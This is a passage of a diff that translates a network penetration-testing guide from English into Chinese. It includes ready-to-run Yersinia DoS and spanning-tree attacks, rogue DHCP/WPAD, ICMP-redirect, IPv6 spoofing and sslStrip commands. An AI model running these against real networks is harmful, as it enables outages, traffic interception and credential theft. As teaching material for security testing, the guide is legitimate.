Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +VTP(VLAN Trunking Protocol)集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的 VLAN 数据库。 #### VTP Domain Roles -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **VTP Server:** 管理 VLAN——创建、删除、修改。它向域成员广播 VTP 通告。 +- **VTP Client:** 接收 VTP 通告以同步其 VLAN 数据库。此角色限制本地 VLAN 配置修改。 +- **VTP Transparent:** 不参与 VTP 更新,但转发 VTP 通告。不受 VTP 攻击影响,保持修订号为零。 #### VTP Advertisement Types -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. -- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **Summary Advertisement:** 每 300 秒由 VTP 服务器广播,携带重要的域信息。 +- **Subset Advertisement:** 在 VLAN 配置更改后发送。 +- **Advertisement Request:** 由 VTP 客户端发出,请求 Summary Advertisement,通常是响应检测到更高的配置修订号。 -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些端口传播。DTP 攻击后的场景可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效干扰网络。 +注意:本讨论涉及 VTP 版本 1(VTPv1)。 ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` +在Yersinia的图形模式中,选择删除所有VTP VLAN选项以清除VLAN数据库。 -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +### STP攻击 -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**如果您无法在接口上捕获BPDU帧,那么您在STP攻击中成功的可能性不大。** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +发送大量的BPDUs TCP(拓扑变化通知)或Conf(在创建拓扑时发送的BPDUs),交换机会过载并停止正常工作。 ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **STP TCP攻击** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +当发送TCP时,交换机的CAM表将在15秒内被删除。然后,如果您持续发送这种数据包,CAM表将持续重启(或每15秒重启一次),当它重启时,交换机的行为就像一个集线器。 ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` - #### **STP Root Attack** -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +攻击者模拟交换机的行为,以成为网络的 STP 根。然后,更多的数据将通过他传输。当你连接到两个不同的交换机时,这一点很有趣。\ +这是通过发送 BPDUs CONF 数据包来完成的,声称 **优先级** 值低于实际根交换机的实际优先级。 ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**如果攻击者连接到两个交换机,他可以成为新树的根,所有在这些交换机之间的流量将通过他**(将执行MITM攻击)。 ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### CDP 攻击 -### CDP Attacks +CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,使它们能够 **相互识别并共享配置细节**。 -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +#### 被动数据收集 -#### Passive Data Collection +CDP 被配置为通过所有端口广播信息,这可能导致安全风险。攻击者在连接到交换机端口时,可以部署网络嗅探器,如 **Wireshark**、**tcpdump** 或 **Yersinia**。此操作可以揭示有关网络设备的敏感数据,包括其型号和运行的 Cisco IOS 版本。攻击者可能会针对识别出的 Cisco IOS 版本中的特定漏洞。 -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. - -#### Inducing CDP Table Flooding - -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: +#### 诱导 CDP 表泛洪 +一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,从而淹没交换机的内存。以下是使用 Yersinia 这一网络工具发起此类攻击的命令序列: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` +在此次攻击中,交换机的CPU和CDP邻居表负担沉重,导致通常所称的**“网络瘫痪”**,这是由于过度的资源消耗。 -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. - -#### CDP Impersonation Attack - +#### CDP冒充攻击 ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保使用 `scapy/contrib` 包进行安装。 -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### VoIP攻击和VoIP Hopper工具 -### VoIP Attacks and the VoIP Hopper Tool +VoIP电话与IoT设备的集成日益增加,提供了通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能会带来安全风险。 -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟VoIP电话(Cisco、Avaya、Nortel、Alcatel-Lucent)。它使用CDP、DHCP、LLDP-MED和802.1Q ARP等协议发现语音网络的VLAN ID。 -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper** 为Cisco发现协议(CDP)提供三种模式: -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **嗅探模式** (`-c 0`): 分析网络数据包以识别VLAN ID。 +2. **欺骗模式** (`-c 1`): 生成自定义数据包,模仿实际VoIP设备的数据包。 +3. **使用预制数据包的欺骗模式** (`-c 2`): 发送与特定Cisco IP电话型号相同的数据包。 -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +速度优先的模式是第三种。它需要指定: -The preferred mode for speed is the third one. It requires specifying: +- 攻击者的网络接口(`-i` 参数)。 +- 被模拟的VoIP设备名称(`-E` 参数),遵循Cisco命名格式(例如,SEP后跟MAC地址)。 -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +在企业环境中,为了模仿现有的VoIP设备,可以: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- 检查电话上的MAC标签。 +- 浏览电话的显示设置以查看型号信息。 +- 将VoIP设备连接到笔记本电脑,并使用Wireshark观察CDP请求。 +在第三种模式下执行工具的示例命令为: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +### DHCP 攻击 -### DHCP Attacks - -#### Enumeration - +#### 枚举 ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -551,68 +487,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +**两种类型的 DoS** 可以针对 DHCP 服务器执行。第一种是 **模拟足够多的虚假主机以使用所有可能的 IP 地址**。\ +此攻击仅在您能够看到 DHCP 服务器的响应并完成协议时有效 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如,这在 **Wifi 网络中是不可行的**。 +执行 DHCP DoS 的另一种方法是发送 **DHCP-RELEASE 数据包,源代码使用每个可能的 IP**。然后,服务器会认为每个人都已完成使用该 IP。 ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +一种更自动化的方法是使用工具 [DHCPing](https://github.com/kamorin/DHCPig) -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +您可以使用提到的 DoS 攻击迫使客户端在环境中获取新租约,并耗尽合法服务器,使其变得无响应。因此,当合法客户端尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。 -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### 设置恶意值 -#### Set malicious values +可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获来自客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。 -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +以下是配置流氓 DHCP 服务器的命令选项: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **我们的 IP 地址(网关广告)**:使用 `-i 10.0.0.100` 将您的机器 IP 广告为网关。 +- **本地 DNS 域名**:可选地,使用 `-d example.org` 设置本地 DNS 域名。 +- **原始路由器/网关 IP**:使用 `-r 10.0.0.1` 指定合法路由器或网关的 IP 地址。 +- **主 DNS 服务器 IP**:使用 `-p 10.0.0.100` 设置您控制的流氓 DNS 服务器的 IP 地址。 +- **次级 DNS 服务器 IP**:可选地,使用 `-s 10.0.0.1` 设置次级 DNS 服务器 IP。 +- **本地网络的子网掩码**:使用 `-n 255.255.255.0` 定义本地网络的子网掩码。 +- **DHCP 流量的接口**:使用 `-I eth1` 在特定网络接口上监听 DHCP 流量。 +- **WPAD 配置地址**:使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址,以协助网络流量拦截。 +- **伪造默认网关 IP**:包括 `-S` 以伪造默认网关 IP 地址。 +- **响应所有 DHCP 请求**:包括 `-R` 使服务器响应所有 DHCP 请求,但请注意这会产生噪音并可能被检测到。 +通过正确使用这些选项,可以有效地建立一个流氓 DHCP 服务器以拦截网络流量。 ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **EAP攻击** -### **EAP Attacks** +以下是可以针对802.1X实现使用的一些攻击战术: -Here are some of the attack tactics that can be used against 802.1X implementations: - -- Active brute-force password grinding via EAP -- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -- EAP message capture and offline password cracking (EAP-MD5 and PEAP) -- Forcing EAP-MD5 authentication to bypass TLS certificate validation -- Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +- 通过EAP进行主动的暴力破解密码 +- 使用格式错误的EAP内容攻击RADIUS服务器 _\*\*_(利用) +- 捕获EAP消息并进行离线密码破解(EAP-MD5和PEAP) +- 强制EAP-MD5身份验证以绕过TLS证书验证 +- 在使用集线器或类似设备进行身份验证时注入恶意网络流量 +如果攻击者位于受害者和身份验证服务器之间,他可以尝试将身份验证协议降级(如有必要)为EAP-MD5并捕获身份验证尝试。然后,他可以使用以下方法进行暴力破解: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` +### FHRP (GLBP & HSRP) 攻击 -### FHRP (GLBP & HSRP) Attacks +**FHRP**(第一跳冗余协议)是一类旨在**创建热冗余路由系统**的网络协议。通过FHRP,物理路由器可以组合成一个单一的逻辑设备,从而提高容错能力并帮助分配负载。 -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. - -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**思科系统工程师开发了两种FHRP协议,GLBP和HSRP。** {{#ref}} glbp-and-hsrp-attacks.md @@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +已知存在三种版本的路由信息协议(RIP):RIP、RIPv2和RIPng。RIP和RIPv2通过UDP的520端口向对等体发送数据报,而RIPng则通过IPv6组播向UDP的521端口广播数据报。RIPv2引入了MD5认证。另一方面,RIPng没有内置认证,而是依赖于IPv6中的可选IPsec AH和ESP头。 -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIP和RIPv2:** 通过UDP数据报在520端口进行通信。 +- **RIPng:** 利用UDP的521端口通过IPv6组播广播数据报。 -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +请注意,RIPv2支持MD5认证,而RIPng不包括内置认证,依赖于IPv6中的IPsec AH和ESP头。 -### EIGRP Attacks +### EIGRP 攻击 -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP(增强型内部网关路由协议)**是一种动态路由协议。**它是一种距离矢量协议。** 如果没有**认证**和被动接口的配置,**入侵者**可以干扰EIGRP路由并导致**路由表中毒**。此外,EIGRP网络(换句话说,自治系统)**是扁平的,没有划分为任何区域**。如果**攻击者注入一条路由**,这条路由很可能会在自治EIGRP系统中**传播**。 -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +攻击EIGRP系统需要**与合法的EIGRP路由器建立邻居关系**,这打开了许多可能性,从基本侦察到各种注入。 -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) 允许您实现**支持BGP、OSPF、EIGRP、RIP和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。 {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) 具有拦截EIGRP(增强型内部网关路由协议)广播的能力。它还允许注入数据包,可用于更改路由配置。 ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +在开放最短路径优先(OSPF)协议中,**通常使用MD5认证以确保路由器之间的安全通信**。然而,这一安全措施可能会被像Loki和John the Ripper这样的工具破坏。这些工具能够捕获和破解MD5哈希,暴露认证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用_注入_和_连接_选项卡。 -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **捕获和破解MD5哈希:** 使用Loki和John the Ripper等工具。 +- **配置路由参数:** 通过_注入_选项卡进行。 +- **设置被破坏的密钥:** 密钥在_连接_选项卡下配置。 -### Other Generic Tools & Sources +### 其他通用工具和资源 -- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- [**Above**](https://github.com/c4s73r/Above):扫描网络流量并查找漏洞的工具 +- 您可以在[**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet)找到一些**关于网络攻击的更多信息**。 -## **Spoofing** - -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. +## **欺骗** +攻击者通过发送虚假的DHCP响应来配置网络中新成员的所有网络参数(GW、IP、DNS)。 ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +查看[上一节](./#arp-spoofing)。 ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP重定向是指发送一个类型为1,代码为5的ICMP数据包,表示攻击者是到达某个IP的最佳方式。然后,当受害者想要联系该IP时,它将通过攻击者发送数据包。 ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +攻击者将解析受害者请求的某些(或所有)域名。 ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` - -**Configure own DNS with dnsmasq** - +**使用 dnsmasq 配置自己的 DNS** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### 本地网关 -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +系统和网络通常存在多个路由。在本地网络中建立 MAC 地址列表后,使用 _gateway-finder.py_ 来识别支持 IPv4 转发的主机。 ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` - ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services. +对于当 DNS 查询失败时的本地主机解析,Microsoft 系统依赖于 **Link-Local Multicast Name Resolution (LLMNR)** 和 **NetBIOS Name Service (NBT-NS)**。类似地,**Apple Bonjour** 和 **Linux zero-configuration** 实现利用 **Multicast DNS (mDNS)** 在网络中发现系统。由于这些协议的无认证特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。 -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +您可以使用 Responder 冒充被主机搜索的服务,发送虚假响应。\ +在这里阅读更多关于 [如何使用 Responder 冒充服务](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 的信息。 ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +浏览器通常使用 **Web Proxy Auto-Discovery (WPAD) 协议自动获取代理设置**。这涉及从服务器获取配置细节,具体通过一个 URL,例如 "http://wpad.example.org/wpad.dat"。客户端可以通过多种机制发现此服务器: -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +- 通过 **DHCP**,其中发现通过使用特殊代码 252 条目来促进。 +- 通过 **DNS**,这涉及在本地域中搜索标记为 _wpad_ 的主机名。 +- 通过 **Microsoft LLMNR 和 NBT-NS**,这些是 DNS 查询未成功时使用的后备机制。 -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +工具 Responder 利用此协议,充当 **恶意 WPAD 服务器**。它使用 DHCP、DNS、LLMNR 和 NBT-NS 误导客户端连接到它。要深入了解如何使用 Responder 冒充服务 [请查看这个](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +您可以在网络中提供不同的服务,以尝试 **欺骗用户** 输入一些 **明文凭据**。**关于此攻击的更多信息在** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**。** ### IPv6 Neighbor Spoofing -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. - +此攻击与 ARP Spoofing 非常相似,但在 IPv6 世界中。您可以让受害者认为 GW 的 IPv6 拥有攻击者的 MAC。 ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### IPv6 路由器广告欺骗/洪水攻击 -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +一些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` +### IPv6 DHCP欺骗 -### IPv6 DHCP spoofing - -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +默认情况下,一些操作系统尝试通过读取网络中的DHCPv6数据包来配置DNS。然后,攻击者可以发送一个DHCPv6数据包,将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。 ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (假页面和JS代码注入) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## 互联网攻击 ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +基本上,这个攻击的作用是,在**用户**尝试**访问**一个**HTTP**页面并**重定向**到**HTTPS**版本时,**sslStrip**将**保持**与**客户端的HTTP连接**和与**服务器的HTTPS连接**,这样它就能够以**明文**方式**嗅探**连接。 ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +更多信息 [这里](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。 -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### sslStrip+ 和 dns2proxy 绕过 HSTS -### sslStrip+ and dns2proxy for bypassing HSTS +**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多出的**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**通过 https 维护**与 **www.facebook.com** 的**真实连接**。 -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +该技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以在 HTTP 中执行**facebook 认证**。\ +请注意,为了执行此攻击,受害者必须最初尝试访问 [http://www.faceook.com](http://www.faceook.com),而不是 https。这可以通过修改 http 页面中的链接来实现。 -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the 